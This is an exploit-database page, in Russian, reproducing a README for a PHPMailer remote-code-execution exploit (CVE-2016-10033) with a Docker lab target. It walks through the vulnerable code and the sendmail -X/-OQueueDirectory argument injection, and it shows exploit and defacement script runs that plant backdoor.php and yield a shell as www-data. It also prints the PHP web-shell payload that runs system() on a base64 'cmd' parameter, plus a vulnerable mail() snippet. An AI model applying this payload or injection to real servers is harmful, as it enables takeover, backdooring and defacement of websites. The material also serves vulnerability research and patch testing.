Sploitus

exploit

kitploit · 2026-08-27

Exploit Code

MARKDOWN239 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OPSXCQ-EXPLOIT-CVE-2016-10033
# PHPMailer < 5.2.18 Удаленное выполнение кода

![Docker Pulls](https://img.shields.io/docker/pulls/vulnerables/cve-2016-10033.svg?style=plastic) ![License](https://img.shields.io/badge/License-GPL-blue.svg?style=plastic)

PHPMailer — самый популярный транспортный класс в мире, с примерно 9 миллионами пользователей по всему миру. Загрузки продолжаются со значительной скоростью ежедневно. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! и многими другими.

PHPMailer до версии 5.2.18 страдает от уязвимости, которая может привести к удаленному выполнению кода (RCE). Функция mailSend в транспорте isMail в PHPMailer, когда свойство Sender не установлено, может позволить удаленным злоумышленникам передавать дополнительные параметры команде mail и, как следствие, выполнять произвольный код через " (обратная косая черта и двойная кавычка) в поддельном адресе From.

### Уязвимая среда

Чтобы настроить уязвимую среду для вашего теста, вам понадобится установленный Docker и просто выполните следующую команду:

root@kitploit:~
    
    
    docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
    

И это создаст уязвимое веб-приложение на вашем хосте на порту `8080`

![vulnerable](https://assets.kitploit.com/production/public/readmes/30262/97f26001ecb26965005068ea0677a5f07f04a1677850010740b47b13319705a5.png)

### Эксплойт

Чтобы эксплуатировать эту цель, просто выполните:

root@kitploit:~
    
    
    ./exploit хост:порт
    

Если вы используете этот уязвимый образ, вы можете просто выполнить:

root@kitploit:~
    
    
    ./exploit localhost:8080
    

После эксплуатации файл с именем backdoor.php будет сохранен в корневой папке веб-директории. И эксплойт предоставит вам оболочку, где вы сможете отправлять команды на бэкдор:

root@kitploit:~
    
    
    ./exploit.sh localhost:8080
    [+] CVE-2016-10033 эксплойт от opsxcq
    [+] Эксплуатация localhost:8080
    [+] Цель эксплуатирована, доступ к оболочке по адресу http://localhost:8080/backdoor.php
    [+] Проверка, был ли создан бэкдор на целевой системе
    [+] Backdoor.php найден на удаленной системе
    [+] Выполнение whoami
    www-data
    RemoteShell> 
    

И это всё, у вас есть оболочка. Существует еще один эксплойт, который иллюстрирует другой вариант использования.

root@kitploit:~
    
    
    ./deface.sh localhost:8080
    [+] CVE-2016-10033 эксплойт от opsxcq
    [+] Эксплуатация localhost:8080
    [+] Цель эксплуатирована, доступ к оболочке по адресу http://localhost:8080/backdoor.php
    [+] Проверка, был ли создан бэкдор на целевой системе
    [+] Backdoor.php найден на удаленной системе
    [+] Размещение вашего сообщения на сервере
    [+] Задача выполнена, выход
    

И если вы снова посетите страницу, вы увидите это:

![defaced](https://assets.kitploit.com/production/public/readmes/30262/90f4f6715d3d1099aaa94d20bfeb9f9706d1d398ddb5553dbe2dbae5d0db1d2e.png)

### Уязвимый код

До этого коммита в class.phpmailer.php в определенном сценарии не было фильтрации специальных символов в адресе электронной почты отправителя. Этот недостаток может привести к удаленному выполнению кода через функцию `mail` здесь.

Анализируя код, в функции `mailSend()` нет фильтрации

root@kitploit:~
    
    
            $params = null;
            //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
            if (!empty($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
    

`$this->Sender` напрямую добавляется к переменной `$params`, которая фильтровалась в функции `validateAddress()`, но так как она использует спецификацию RFC 3696, это допускает определенные символы, которые нарушат работу. В данном случае, кавычки:

> В дополнение к использованию обратной косой черты для экранирования, для обрамления строк могут использоваться обычные символы двойных кавычек. Например,
> 
> "Abc@def"@example.com
> 
> "Fred Bloggs"@example.com
> 
> являются альтернативными формами первых двух примеров выше. Эти формы в кавычках редко рекомендуются и не распространены на практике, но, как обсуждалось выше, должны поддерживаться приложениями, обрабатывающими адреса электронной почты. В частности, формы в кавычках часто встречаются в контексте адресов, связанных с переходом из других систем и контекстов; эти переходные требования все еще возникают, и поскольку система, принимающая предоставленный пользователем адрес электронной почты, не может "знать", связан ли этот адрес с устаревшей системой, такие формы адресов должны приниматься и передаваться в почтовую среду.

Вы можете прочитать полный RFC здесь, если хотите. Но также, если версия PHP ниже 5.2.0 и не установлен PCRE, переменная `$patternselect` в `validateAddress()` будет установлена в `noregex`. Это приведет к тому, что ввод сможет избежать любых проверок regex. Он пройдет только небольшую проверку:

root@kitploit:~
    
    
                case 'noregex':
                    //No PCRE! Do something _very_ approximate!
                    //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                    return (strlen($address) >= 3
                        and strpos($address, '@') >= 1
                        and strpos($address, '@') != strlen($address) - 1);
    

Затем поток выполнения переходит к функции `mailPassthru()`, которая, если выполняется в `safe_mode`, не будет уязвима к этому недостатку, как указано в следующем коде

root@kitploit:~
    
    
            //Can't use additional_parameters in safe_mode
            //@link http://php.net/manual/en/function.mail.php
            if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
                $result = @mail($to, $subject, $body, $header);
            } else {
                $result = @mail($to, $subject, $body, $header, $params);
            }
    

Но если он не выполняется в `safe_mode`, тогда наш **специальный параметр** будет передан в `mail()`, и, если нам повезет, он получит наш файл, содержащий все, что мы хотим, чтобы было записано туда, куда мы выберем.

### Примечания об эксплуатации PHP mail() функции

Эксплуатация PHP mail() функции не нова, но она все еще жива, и люди все еще используют ее. Чтобы объяснить, как это работает, давайте посмотрим, как определена функция mail():

root@kitploit:~
    
    
    bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
    

Существует несколько методов эксплуатации для разных результатов, мы сосредоточимся на эксплуатации **5-го параметра** для получения удаленного выполнения кода (RCE). Параметр `$additional_parameters` используется для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки письма. Эта конфигурация определяется переменной `sendmail_path`.

Примечание по безопасности из официальной документации PHP:

> Параметр additional_parameters может использоваться для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки почты, как определено параметром конфигурации sendmail_path. Например, это можно использовать для установки адреса отправителя конверта при использовании sendmail с опцией -f sendmail.

> Этот параметр экранируется с помощью escapeshellcmd() внутри, чтобы предотвратить выполнение команд. escapeshellcmd() предотвращает выполнение команд, но позволяет добавлять дополнительные параметры. По соображениям безопасности рекомендуется, чтобы пользователь очищал этот параметр, чтобы избежать добавления нежелательных параметров в команду оболочки.

Учитывая дополнительные параметры, которые можно внедрить, мы будем использовать `-X` для эксплуатации этого недостатка. Подробнее о параметре `-X`

root@kitploit:~
    
    
    -X logfile
    Записывать весь трафик в почтовые программы и из них в указанный файл журнала. Это следует использовать только в крайнем случае для отладки ошибок почтовой программы. Это будет очень быстро записывать много данных.
    

Существуют также некоторые другие интересные параметры, о которых вам следует знать:

root@kitploit:~
    
    
    -Cfile
    Использовать альтернативный файл конфигурации. Sendmail отказывается от любых расширенных привилегий (set-user-ID или set-group-ID), если указан альтернативный файл конфигурации.
    

И

root@kitploit:~
    
    
    -O option=value
    Установить опцию option в указанное значение. Эта форма использует длинные имена.
    

А для опции `-O` наиболее интересной является `QueueDirectory`, эта опция выбирает каталог, в котором ставить в очередь сообщения.

Если вы хотите прочитать полный список параметров и опций, просто `man sendmail` или прочитайте его онлайн здесь

Основываясь на этой информации и возможности контролировать хотя бы один из других параметров, мы можем эксплуатировать хост. Ниже приведены шаги для успешной эксплуатации:

  * Контролировать `$additional_parameters` и еще один параметр `mail()`
  * Знать **записываемый** каталог на целевом хосте, доступный через целевую систему и пользователя (например, www-data). Обычно это может быть любой каталог внутри `webroot` (например, /var/www/html для других систем, /www для этого примера)
  * Любая полезная нагрузка PHP, которую вы хотите, в этом примере мы используем простую полезную нагрузку `system()`, с добавлением base64 и некоторых специальных символов `|` для упрощения синтаксического анализа.
  * Просто соберите все вместе!



Помните, что опция `-X` запишет файл журнала, который будет содержать, помимо информации журнала, вашу полезную нагрузку PHP, в указанный вами каталог. Пример уязвимого кода PHP:

root@kitploit:~
    
    
    $to = 'some-email@example.com';
    $subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
    $message = 'Pwned';
    $headers = '';
    $options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
    mail($to, $subject, $message, $headers, $options);
    

Если вы выполните код выше, он создаст файл журнала в `/www/backdoor.php`, это суть данного эксплойта.

### Полезная нагрузка

Ниже приведена полезная нагрузка, используемая в этом примере

root@kitploit:~
    
    
    <?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
    

### Хочу искать ошибки, что дальше?

Хотите простой способ одной командой попытаться обнаружить этот недостаток? Запомните эту магическую команду grep!

root@kitploit:~
    
    
    grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
    

Ее выполнение в этом репозитории даст в результате

root@kitploit:~
    
    
    src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);
    

### Авторство

Эта уязвимость была найдена Давидом Голуньским (Dawid Golunski).

### Отказ от ответственности

Эта или предыдущая программа предназначена ТОЛЬКО для образовательных целей. Не используйте ее без разрешения. Применяются обычные отказы от ответственности, особенно тот факт, что я (opsxcq) не несу ответственности за любые убытки, вызванные прямым или косвенным использованием информации или функциональности, предоставленной этими программами. Автор или любой интернет-провайдер не несет НИКАКОЙ ответственности за содержание или неправильное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.д.), вызванный использованием этих программ, не является ответственностью opsxcq.